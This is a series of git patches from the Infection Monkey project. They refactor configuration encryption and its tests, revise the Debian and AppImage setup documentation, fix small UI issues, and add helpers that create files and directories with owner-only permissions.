decrypt_config(ciphertext: str, password: str) -> Dict: + ciphertext = base64.b64decode(ciphertext) + ciphertext_config_stream = io.BytesIO(ciphertext) dec_plaintext_config_stream = io.BytesIO() len_ciphertext_config_stream = len(ciphertext_config_stream.getvalue()) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py index 1a41b0a519f..1cfd6b9149d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py @@ -1,8 +1,8 @@ import json import pytest -from tests.unit_tests.monkey_island.cc.services.utils.cyphertexts_for_encryption_test import ( - MALFORMED_CYPHER_TEXT_CORRUPTED, +from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption_test import ( + MALFORMED_CIPHER_TEXT_CORRUPTED, ) from tests.unit_tests.monkey_island.cc.services.utils.test_config_encryption import PASSWORD @@ -23,7 +23,7 @@ def test_is_config_encrypted__ciphertext(monkey_config): def test_is_config_encrypted__corrupt_ciphertext(): with pytest.raises(InvalidConfigurationError): - assert ConfigurationImport.is_config_encrypted(MALFORMED_CYPHER_TEXT_CORRUPTED) + assert ConfigurationImport.is_config_encrypted(MALFORMED_CIPHER_TEXT_CORRUPTED) def test_is_config_encrypted__unknown_format(): diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/ciphertexts_for_encryption_test.py similarity index 99% rename from monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py rename to monkey/tests/unit_tests/monkey_island/cc/services/utils/ciphertexts_for_encryption_test.py index e4aa11b0624..b35513a2a8f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/cyphertexts_for_encryption_test.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/ciphertexts_for_encryption_test.py @@ -1,4 +1,4 @@ -MALFORMED_CYPHER_TEXT_CORRUPTED = ( +MALFORMED_CIPHER_TEXT_CORRUPTED = ( "QUVTAgAAGM0NKEYTESTURfQlkAcHlBZXNDcnlwdCA2LjAuMACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHEWlHUF5GTDFdrlGaUbFqGOBHE" diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py index 59d189ffa64..fb7dcb92901 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -1,6 +1,6 @@ import pytest -from tests.unit_tests.monkey_island.cc.services.utils.cyphertexts_for_encryption_test import ( - MALFORMED_CYPHER_TEXT_CORRUPTED, +from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption_test import ( + MALFORMED_CIPHER_TEXT_CORRUPTED, ) from monkey_island.cc.services.utils.config_encryption import ( @@ -28,7 +28,7 @@ def test_encrypt_decrypt_config__wrong_password(monkey_config): def test_encrypt_decrypt_config__malformed_corrupted(): with pytest.raises(ValueError): - decrypt_config(MALFORMED_CYPHER_TEXT_CORRUPTED, PASSWORD) + decrypt_config(MALFORMED_CIPHER_TEXT_CORRUPTED, PASSWORD) def test_encrypt_decrypt_config__decrypt_no_password(monkey_config): From fadc816df03106f28198fb3e6bb77a410c01a9a7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 11 Jun 2021 14:40:04 +0530 Subject: [PATCH 0768/1360] docs: Remove Debian package setup page --- docs/content/setup/debian.md | 88 ------------------------------------ 1 file changed, 88 deletions(-) delete mode 100644 docs/content/setup/debian.md diff --git a/docs/content/setup/debian.md b/docs/content/setup/debian.md deleted file mode 100644 index 4d388b2dc36..00000000000 --- a/docs/content/setup/debian.md +++ /dev/null @@ -1,88 +0,0 @@ ---- -title: "Debian" -date: 2020-05-26T20:57:19+03:00 -draft: false -pre: ' ' -weight: 1 -disableToc: false -tags: ["setup", "debian", "linux"] ---- - - -## Supported Distros - -This Debian package has been tested on Ubuntu Bionic 18.04 LTS and Ubuntu Focal 20.04 LTS. - -## Deployment - -1. Update your package list by running: - ```sh - sudo apt update - ``` -1. If you are using Ubuntu Focal 20.04, run the following commands to install - Python 3.7: - ```sh - sudo apt install software-properties-common - sudo add-apt-repository ppa:deadsnakes/ppa - sudo apt install python3.7 python3.7-dev - ``` -1. Extract the tarball by running: - ```sh - tar -xvzf infection_monkey_deb.tgz - ``` -1. Install the Monkey Island Debian package: - ```sh - sudo dpkg -i monkey_island_deb.deb # this might print errors - ``` -1. If, at this point, you receive dpkg errors that look like this: - - ```sh - dpkg: error processing package gc-monkey-island (--install): - dependency problems - leaving unconfigured - Errors were encountered while processing: - gc-monkey-island - ``` - - It just means that not all dependencies were pre-installed on your system. - That's no problem! Just run the following command, which will install all - dependencies, and then install the Monkey Island: - - ```sh - sudo apt install -f - ``` - -## Troubleshooting - -### Trying to install on Ubuntu <16.04 - -If you're trying to install the Monkey Island on Ubuntu 16.04 or older, you -need to install the dependencies yourself, since Python 3.7 is only installable -from the `deadsnakes` PPA. To install the Monkey Island on Ubuntu 16.04, follow -these steps: - -```sh -sudo apt update -sudo apt-get install libcurl4-openssl-dev -sudo apt-get install software-properties-common -sudo add-apt-repository ppa:deadsnakes/ppa -sudo apt-get update -sudo apt-get install python3.7-dev python3.7-venv python3-venv build-essential -sudo dpkg -i monkey_island.deb # this might print errors -sudo apt install -f -``` - -### The Monkey Island interface isn't accessible after installation - -To check the status of the Monkey Island after the installation, run the following command: `sudo service monkey-island status`. - -## Upgrading - -Currently, there's no "upgrade-in-place" option when a new version is released. -To get the updated version, download the new `.deb` file and install it. You -should see a message like `Unpacking monkey-island (1.8.2) over (1.8.0)`. After -which, the installation should complete successfully. - -If you'd like to keep your existing configuration, you can export it to a file -using the *Export config* button and then import it to the new Monkey Island. - -![Export configuration](../../images/setup/export-configuration.png "Export configuration") From f15d30a02002071868c21d9ef10290a8e948a386 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 11 Jun 2021 14:41:08 +0530 Subject: [PATCH 0769/1360] docs: Add list of supported OS for AppImage package --- docs/content/setup/linux.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 2340907ba32..7012f9c615d 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -9,6 +9,15 @@ tags: ["setup", "AppImage", "linux"] ## Supported operating systems +The Infection Monkey AppImage package is supported on the following operating systems (not an +exhaustive list): +- Debian +- Kali +- Ubuntu 18.04 + +The following do NOT support the Infection Monkey AppImage package (not an exhaustive list): +- Ubuntu 16.04 + ## Deployment 1. Make the AppImage package executable: From c2245ce3c2bfa335e6061c705579b03f818e6a4b Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 11 Jun 2021 14:42:20 +0530 Subject: [PATCH 0770/1360] docs: Add upgrading section to AppImage setup page --- docs/content/setup/linux.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 7012f9c615d..c1559af447f 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -87,3 +87,12 @@ private certificate authority. `https://localhost:5000`. ## Upgrading + +Currently, there's no "upgrade-in-place" option when a new version is released. +To get an updated version, download the updated AppImage package and follow the deployment +instructions again. + +If you'd like to keep your existing configuration, you can export it to a file +using the *Export config* button and then import it to the new Monkey Island. + +![Export configuration](../../images/setup/export-configuration.png "Export configuration") From 5c7bab7a0d0b406c0176584a1595f475647634f5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 11 Jun 2021 16:05:32 +0300 Subject: [PATCH 0771/1360] Refactored json parsing out of encryption/decryption functionality. --- .../cc/resources/configuration_export.py | 5 +- .../cc/resources/configuration_import.py | 19 +++--- .../cc/services/utils/config_encryption.py | 62 ------------------- .../cc/services/utils/encryption.py | 59 ++++++++++++++++++ .../unit_tests/monkey_island/cc/conftest.py | 5 ++ .../cc/resources/test_configuration_import.py | 13 ++-- .../services/utils/test_config_encryption.py | 28 ++++----- 7 files changed, 96 insertions(+), 95 deletions(-) delete mode 100644 monkey/monkey_island/cc/services/utils/config_encryption.py create mode 100644 monkey/monkey_island/cc/services/utils/encryption.py diff --git a/monkey/monkey_island/cc/resources/configuration_export.py b/monkey/monkey_island/cc/resources/configuration_export.py index 40dd90044fe..4a7aeec24ba 100644 --- a/monkey/monkey_island/cc/resources/configuration_export.py +++ b/monkey/monkey_island/cc/resources/configuration_export.py @@ -5,7 +5,7 @@ from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.utils.config_encryption import encrypt_config +from monkey_island.cc.services.utils.encryption import encrypt_string class ConfigurationExport(flask_restful.Resource): @@ -19,6 +19,7 @@ def post(self): config_export = plaintext_config if should_encrypt: password = data["password"] - config_export = encrypt_config(plaintext_config, password) + plaintext_config = json.dumps(plaintext_config) + config_export = encrypt_string(plaintext_config, password) return {"config_export": config_export, "encrypted": should_encrypt} diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index 50a4cf955a5..bcb3d8b1fb1 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -9,9 +9,10 @@ from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.auth.auth import jwt_required from monkey_island.cc.services.config import ConfigService -from monkey_island.cc.services.utils.config_encryption import ( +from monkey_island.cc.services.utils.encryption import ( + InvalidCiphertextError, InvalidCredentialsError, - decrypt_config, + decrypt_ciphertext, is_encrypted, ) @@ -68,13 +69,13 @@ def post(self): @staticmethod def _get_plaintext_config_from_request(request_contents: dict) -> dict: - if ConfigurationImport.is_config_encrypted(request_contents["config"]): - return decrypt_config(request_contents["config"], request_contents["password"]) - else: - try: - return json.loads(request_contents["config"]) - except JSONDecodeError: - raise InvalidConfigurationError + try: + config = request_contents["config"] + if ConfigurationImport.is_config_encrypted(request_contents["config"]): + config = decrypt_ciphertext(config, request_contents["password"]) + return json.loads(config) + except (JSONDecodeError, InvalidCiphertextError): + raise InvalidConfigurationError @staticmethod def import_config(config_json): diff --git a/monkey/monkey_island/cc/services/utils/config_encryption.py b/monkey/monkey_island/cc/services/utils/config_encryption.py deleted file mode 100644 index 70c1e12ee98..00000000000 --- a/monkey/monkey_island/cc/services/utils/config_encryption.py +++ /dev/null @@ -1,62 +0,0 @@ -import base64 -import io -import json -import logging -from typing import Dict - -import pyAesCrypt - -from common.utils.exceptions import InvalidConfigurationError - -BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef - -logger = logging.getLogger(__name__) - - -def encrypt_config(config: Dict, password: str) -> str: - plaintext_config_stream = io.BytesIO(json.dumps(config).encode()) - ciphertext_config_stream = io.BytesIO() - - pyAesCrypt.encryptStream( - plaintext_config_stream, ciphertext_config_stream, password, BUFFER_SIZE - ) - - ciphertext_b64 = base64.b64encode(ciphertext_config_stream.getvalue()) - logger.info("Configuration encrypted.") - - return ciphertext_b64.decode() - - -def decrypt_config(ciphertext: str, password: str) -> Dict: - ciphertext = base64.b64decode(ciphertext) - ciphertext_config_stream = io.BytesIO(ciphertext) - dec_plaintext_config_stream = io.BytesIO() - - len_ciphertext_config_stream = len(ciphertext_config_stream.getvalue()) - - try: - pyAesCrypt.decryptStream( - ciphertext_config_stream, - dec_plaintext_config_stream, - password, - BUFFER_SIZE, - len_ciphertext_config_stream, - ) - except ValueError as ex: - if str(ex).startswith("Wrong password"): - logger.info("Wrong password for configuration provided.") - raise InvalidCredentialsError - else: - logger.info("The provided configuration file is corrupt.") - raise InvalidConfigurationError - plaintext_config = json.loads(dec_plaintext_config_stream.getvalue().decode("utf-8")) - return plaintext_config - - -def is_encrypted(ciphertext: str) -> bool: - ciphertext = base64.b64decode(ciphertext) - return ciphertext.startswith(b"AES") - - -class InvalidCredentialsError(Exception): - """ Raise when credentials supplied are invalid """ diff --git a/monkey/monkey_island/cc/services/utils/encryption.py b/monkey/monkey_island/cc/services/utils/encryption.py new file mode 100644 index 00000000000..ae4af2257fa --- /dev/null +++ b/monkey/monkey_island/cc/services/utils/encryption.py @@ -0,0 +1,59 @@ +import base64 +import io +import logging + +import pyAesCrypt + +BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef + +logger = logging.getLogger(__name__) + + +def encrypt_string(plaintext: str, password: str) -> str: + plaintext_stream = io.BytesIO(plaintext.encode()) + ciphertext_stream = io.BytesIO() + + pyAesCrypt.encryptStream(plaintext_stream, ciphertext_stream, password, BUFFER_SIZE) + + ciphertext_b64 = base64.b64encode(ciphertext_stream.getvalue()) + logger.info("String encrypted.") + + return ciphertext_b64.decode() + + +def decrypt_ciphertext(ciphertext: str, password: str) -> str: + ciphertext = base64.b64decode(ciphertext) + ciphertext_stream = io.BytesIO(ciphertext) + plaintext_stream = io.BytesIO() + + ciphertext_stream_len = len(ciphertext_stream.getvalue()) + + try: + pyAesCrypt.decryptStream( + ciphertext_stream, + plaintext_stream, + password, + BUFFER_SIZE, + ciphertext_stream_len, + ) + except ValueError as ex: + if str(ex).startswith("Wrong password"): + logger.info("Wrong password provided for decryption.") + raise InvalidCredentialsError + else: + logger.info("The corrupt ciphertext provided.") + raise InvalidCiphertextError + return plaintext_stream.getvalue().decode("utf-8") + + +def is_encrypted(ciphertext: str) -> bool: + ciphertext = base64.b64decode(ciphertext) + return ciphertext.startswith(b"AES") + + +class InvalidCredentialsError(Exception): + """ Raised when password for decryption is invalid """ + + +class InvalidCiphertextError(Exception): + """ Raised when ciphertext is corrupted """ diff --git a/monkey/tests/unit_tests/monkey_island/cc/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/conftest.py index 370e0cc4dc2..c89c4c294da 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/conftest.py @@ -18,3 +18,8 @@ def monkey_config(data_for_tests_dir): ) plaintext_config = json.loads(open(plaintext_monkey_config_standard_path, "r").read()) return plaintext_config + + +@pytest.fixture +def monkey_config_json(monkey_config): + return json.dumps(monkey_config) diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py index 1cfd6b9149d..ed1d908cf0a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_configuration_import.py @@ -1,5 +1,3 @@ -import json - import pytest from tests.unit_tests.monkey_island.cc.services.utils.ciphertexts_for_encryption_test import ( MALFORMED_CIPHER_TEXT_CORRUPTED, @@ -8,16 +6,15 @@ from common.utils.exceptions import InvalidConfigurationError from monkey_island.cc.resources.configuration_import import ConfigurationImport -from monkey_island.cc.services.utils.config_encryption import encrypt_config +from monkey_island.cc.services.utils.encryption import encrypt_string -def test_is_config_encrypted__json(monkey_config): - monkey_config = json.dumps(monkey_config) - assert not ConfigurationImport.is_config_encrypted(monkey_config) +def test_is_config_encrypted__json(monkey_config_json): + assert not ConfigurationImport.is_config_encrypted(monkey_config_json) -def test_is_config_encrypted__ciphertext(monkey_config): - encrypted_config = encrypt_config(monkey_config, PASSWORD) +def test_is_config_encrypted__ciphertext(monkey_config_json): + encrypted_config = encrypt_string(monkey_config_json, PASSWORD) assert ConfigurationImport.is_config_encrypted(encrypted_config) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py index fb7dcb92901..23b399cc5ef 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/utils/test_config_encryption.py @@ -3,10 +3,10 @@ MALFORMED_CIPHER_TEXT_CORRUPTED, ) -from monkey_island.cc.services.utils.config_encryption import ( +from monkey_island.cc.services.utils.encryption import ( InvalidCredentialsError, - decrypt_config, - encrypt_config, + decrypt_ciphertext, + encrypt_string, ) MONKEY_CONFIGS_DIR_PATH = "monkey_configs" @@ -15,23 +15,23 @@ INCORRECT_PASSWORD = "goodbye321" -def test_encrypt_decrypt_config(monkey_config): - encrypted_config = encrypt_config(monkey_config, PASSWORD) - assert decrypt_config(encrypted_config, PASSWORD) == monkey_config +def test_encrypt_decrypt_string(monkey_config_json): + encrypted_config = encrypt_string(monkey_config_json, PASSWORD) + assert decrypt_ciphertext(encrypted_config, PASSWORD) == monkey_config_json -def test_encrypt_decrypt_config__wrong_password(monkey_config): - encrypted_config = encrypt_config(monkey_config, PASSWORD) +def test_encrypt_decrypt_string__wrong_password(monkey_config_json): + encrypted_config = encrypt_string(monkey_config_json, PASSWORD) with pytest.raises(InvalidCredentialsError): - decrypt_config(encrypted_config, INCORRECT_PASSWORD) + decrypt_ciphertext(encrypted_config, INCORRECT_PASSWORD) -def test_encrypt_decrypt_config__malformed_corrupted(): +def test_encrypt_decrypt_string__malformed_corrupted(): with pytest.raises(ValueError): - decrypt_config(MALFORMED_CIPHER_TEXT_CORRUPTED, PASSWORD) + decrypt_ciphertext(MALFORMED_CIPHER_TEXT_CORRUPTED, PASSWORD) -def test_encrypt_decrypt_config__decrypt_no_password(monkey_config): - encrypted_config = encrypt_config(monkey_config, PASSWORD) +def test_encrypt_decrypt_string__decrypt_no_password(monkey_config_json): + encrypted_config = encrypt_string(monkey_config_json, PASSWORD) with pytest.raises(InvalidCredentialsError): - decrypt_config(encrypted_config, "") + decrypt_ciphertext(encrypted_config, "") From fbe9b4f4d752abca93cb5d314d30269c90d4134d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 11 Jun 2021 16:06:04 +0300 Subject: [PATCH 0772/1360] Typos and small bugfixes for configuration export/import UI. --- .../components/configuration-components/ImportConfigModal.tsx | 2 +- .../UnsafeConfigOptionsConfirmationModal.js | 3 ++- .../monkey_island/cc/ui/src/components/pages/ConfigurePage.js | 1 - 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx index 155b33bf2d1..9456e7dd85e 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx @@ -81,7 +81,7 @@ const ConfigImportModal = (props: Props) => { } function isImportDisabled(): boolean { - return uploadStatus !== UploadStatuses.success + return uploadStatus !== UploadStatuses.success || (showPassword && password === '') } function resetState() { diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js index b6de83f4292..9593aeb3851 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js @@ -11,7 +11,8 @@ function UnsafeConfigOptionsConfirmationModal(props) {
    Warning

    - Some of the configuration options could cause systems to become unstable or malfunction. + Some of the configuration options selected could cause systems + to become unstable or malfunction.

    Are you sure you want to submit the selected settings?

    diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 361c52f8389..c6e27f476cb 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -121,7 +121,6 @@ class ConfigurePageComponent extends AuthComponent { } }; - // TODO add a safety check to config import canSafelySubmitConfig(config) { return !isUnsafeOptionSelected(this.state.schema, config); } From 8a673cc76c4ef405a681453301196d7f18c450a4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 11 Jun 2021 16:25:47 +0300 Subject: [PATCH 0773/1360] Added the logging for errors encountered in configuration decryption workflow --- monkey/monkey_island/cc/resources/configuration_import.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index bcb3d8b1fb1..464006d089b 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -75,6 +75,9 @@ def _get_plaintext_config_from_request(request_contents: dict) -> dict: config = decrypt_ciphertext(config, request_contents["password"]) return json.loads(config) except (JSONDecodeError, InvalidCiphertextError): + logger.exception( + "Exception encountered when trying " "to extract plaintext configuraiton." + ) raise InvalidConfigurationError @staticmethod From 57f35f90453fc814751ea964a0ac8e09f1047422 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 11 Jun 2021 09:28:29 -0400 Subject: [PATCH 0774/1360] island: Fix typo in ConfigurationImport error logging --- monkey/monkey_island/cc/resources/configuration_import.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/configuration_import.py b/monkey/monkey_island/cc/resources/configuration_import.py index 464006d089b..efa1d79a77e 100644 --- a/monkey/monkey_island/cc/resources/configuration_import.py +++ b/monkey/monkey_island/cc/resources/configuration_import.py @@ -76,7 +76,7 @@ def _get_plaintext_config_from_request(request_contents: dict) -> dict: return json.loads(config) except (JSONDecodeError, InvalidCiphertextError): logger.exception( - "Exception encountered when trying " "to extract plaintext configuraiton." + "Exception encountered when trying to extract plaintext configuration." ) raise InvalidConfigurationError From 01a2c20d4b98cd546820ff22f1d4199a9433d553 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 11 Jun 2021 19:05:30 +0530 Subject: [PATCH 0775/1360] docs: Remove unsupported OS section from AppImage setup page --- docs/content/setup/linux.md | 3 --- 1 file changed, 3 deletions(-) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index c1559af447f..b0b3938c312 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -15,9 +15,6 @@ exhaustive list): - Kali - Ubuntu 18.04 -The following do NOT support the Infection Monkey AppImage package (not an exhaustive list): -- Ubuntu 16.04 - ## Deployment 1. Make the AppImage package executable: From 41f41015b823a7438dd35bbd30fcb65d6946df1e Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 11 Jun 2021 19:33:12 +0530 Subject: [PATCH 0776/1360] docs: Update supported OS list in AppImage setup page --- docs/content/setup/linux.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index b0b3938c312..0997f22efca 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -11,9 +11,11 @@ tags: ["setup", "AppImage", "linux"] The Infection Monkey AppImage package is supported on the following operating systems (not an exhaustive list): -- Debian -- Kali +- CentOS +- Debian +- Kali - Ubuntu 18.04 +- Ubuntu 20.04 ## Deployment From bef7bef46b4932405ee5afd48b1e69fd4134432f Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 11 Jun 2021 20:04:24 +0530 Subject: [PATCH 0777/1360] docs: Add info about what an AppImage is, to its setup page --- docs/content/setup/linux.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 0997f22efca..5800b364c7f 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -9,8 +9,11 @@ tags: ["setup", "AppImage", "linux"] ## Supported operating systems -The Infection Monkey AppImage package is supported on the following operating systems (not an -exhaustive list): +An AppImage is a distribution-agnostic package or a self-running bundle that contains an +application and everything that it may need to run. + +The Infection Monkey AppImage package should run on most modern Linux distros that have FUSE +installed, but the ones that we've tested are: - CentOS - Debian - Kali From ca502d41f00edd8921dba1cdc9aafdeff6284ea6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 11 Jun 2021 10:49:45 -0400 Subject: [PATCH 0778/1360] docs: Add a link to appimage.org in AppImage setup --- docs/content/setup/linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index 5800b364c7f..ab298162755 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -9,7 +9,7 @@ tags: ["setup", "AppImage", "linux"] ## Supported operating systems -An AppImage is a distribution-agnostic package or a self-running bundle that contains an +An [AppImage](https://appimage.org/) is a distribution-agnostic package or a self-running bundle that contains an application and everything that it may need to run. The Infection Monkey AppImage package should run on most modern Linux distros that have FUSE From db3003f6bb92b184a14659a4128307803a6681d7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 11 Jun 2021 10:54:36 -0400 Subject: [PATCH 0779/1360] docs: Minor wording change to AppImage description --- docs/content/setup/linux.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/content/setup/linux.md b/docs/content/setup/linux.md index ab298162755..ff51a7613b1 100644 --- a/docs/content/setup/linux.md +++ b/docs/content/setup/linux.md @@ -9,8 +9,8 @@ tags: ["setup", "AppImage", "linux"] ## Supported operating systems -An [AppImage](https://appimage.org/) is a distribution-agnostic package or a self-running bundle that contains an -application and everything that it may need to run. +An [AppImage](https://appimage.org/) is a distribution-agnostic, self-running +package that contains an application and everything that it may need to run. The Infection Monkey AppImage package should run on most modern Linux distros that have FUSE installed, but the ones that we've tested are: From 5d7d86aedcd47da98722c375ce5d54bdedc41f12 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 14 Jun 2021 12:22:45 +0530 Subject: [PATCH 0780/1360] island: Modify log message when creating secure directory on Windows --- monkey/monkey_island/cc/environment/utils.py | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 8efbb449225..524b9d5a88d 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -30,10 +30,7 @@ def _create_secure_directory_linux(path: str): # because it will temporarily create an accessible directory which anyone can use. os.mkdir(path, mode=0o700) except Exception as ex: - LOG.error( - f'Could not create a directory at "{path}" (maybe environmental variables could not be ' - f"resolved?): {str(ex)}" - ) + LOG.error(f'Could not create a directory at "{path}": {str(ex)}') raise ex @@ -45,7 +42,5 @@ def _create_secure_directory_windows(path: str): ) win32file.CreateDirectory(path, security_attributes) except Exception as ex: - LOG.error( - f'Could not create a directory at "{path}": {str(ex)}' - ) + LOG.error(f'Could not create a directory at "{path}": {str(ex)}') raise ex From ff85360639d318096c5283d87ca626177e3a04e2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 14 Jun 2021 13:20:19 +0530 Subject: [PATCH 0781/1360] island: Add functions to create a file securely on Linux and Windows --- monkey/monkey_island/cc/environment/utils.py | 52 ++++++++++++++++++++ 1 file changed, 52 insertions(+) diff --git a/monkey/monkey_island/cc/environment/utils.py b/monkey/monkey_island/cc/environment/utils.py index 524b9d5a88d..7c822edd113 100644 --- a/monkey/monkey_island/cc/environment/utils.py +++ b/monkey/monkey_island/cc/environment/utils.py @@ -29,6 +29,7 @@ def _create_secure_directory_linux(path: str): # Don't split directory creation and permission setting # because it will temporarily create an accessible directory which anyone can use. os.mkdir(path, mode=0o700) + except Exception as ex: LOG.error(f'Could not create a directory at "{path}": {str(ex)}') raise ex @@ -41,6 +42,57 @@ def _create_secure_directory_windows(path: str): windows_permissions.get_security_descriptor_for_owner_only_perms() ) win32file.CreateDirectory(path, security_attributes) + except Exception as ex: LOG.error(f'Could not create a directory at "{path}": {str(ex)}') raise ex + + +def create_secure_file(path: str): + if not os.path.isfile(path): + if is_windows_os(): + _create_secure_file_windows(path) + else: + _create_secure_file_linux(path) + + +def _create_secure_file_linux(path: str): + try: + flags = os.O_RDWR | os.O_CREAT # read/write, create new + mode = 0o700 # read/write/execute permissions to owner + + with os.open(path, flags, mode) as _: + pass + + except Exception as ex: + LOG.error(f'Could not create a file at "{path}": {str(ex)}') + raise ex + + +def _create_secure_file_windows(path: str): + try: + file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE + file_sharing = ( + win32file.FILE_SHARE_READ + ) # subsequent open operations on the object will succeed only if read access is requested + security_attributes = win32security.SECURITY_ATTRIBUTES() + security_attributes.SECURITY_DESCRIPTOR = ( + windows_permissions.get_security_descriptor_for_owner_only_perms() + ) + file_creation = win32file.CREATE_NEW # fails if file exists + file_attributes = win32file.FILE_ATTRIBUTE_NORMAL + + with win32file.CreateFile( + fileName=path, + desiredAccess=file_access, + shareMode=file_sharing, + attributes=security_attributes, + CreationDisposition=file_creation, + flagsAndAttributes=file_attributes, + hTemplateFile=win32file.NULL, + ) as _: + pass + + except Exception as ex: + LOG.error(f'Could not create a file at "{path}": {str(ex)}') + raise ex From 26ae50f90f239ed47cf4d02a10b461307d95d775 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 14 Jun 2021 13:21:29 +0530 Subject: [PATCH 0782/1360] island: Create mongo key file securely before using it --- 